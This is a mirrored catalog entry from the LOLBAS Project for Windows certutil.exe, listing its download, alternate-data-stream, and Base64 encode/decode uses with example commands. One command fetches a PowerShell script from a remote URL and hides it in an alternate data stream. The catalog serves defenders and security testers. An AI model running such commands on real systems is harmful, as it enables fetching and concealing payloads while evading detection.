mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-30 16:54:00 +01:00
874 B
874 B
Certutil.exe
- Functions: Download, Add ADS, Decode, Encode
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
Download and save 7zip to disk in the current folder.
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
Download and save a PS1 file to an Alternate Data Stream (ADS).
certutil -encode inputFileName encodedOutputFileName
certutil -decode encodedInputFileName decodedOutputFileName
Commands to encode and decode a file using Base64.
-
Resources:
-
Full path:
- c:\windows\system32\certutil.exe
- c:\windows\sysWOW64\certutil.exe
-
Notes: Thanks to Matt Graeber - @mattifestation, Moriarty - @Moriarty2016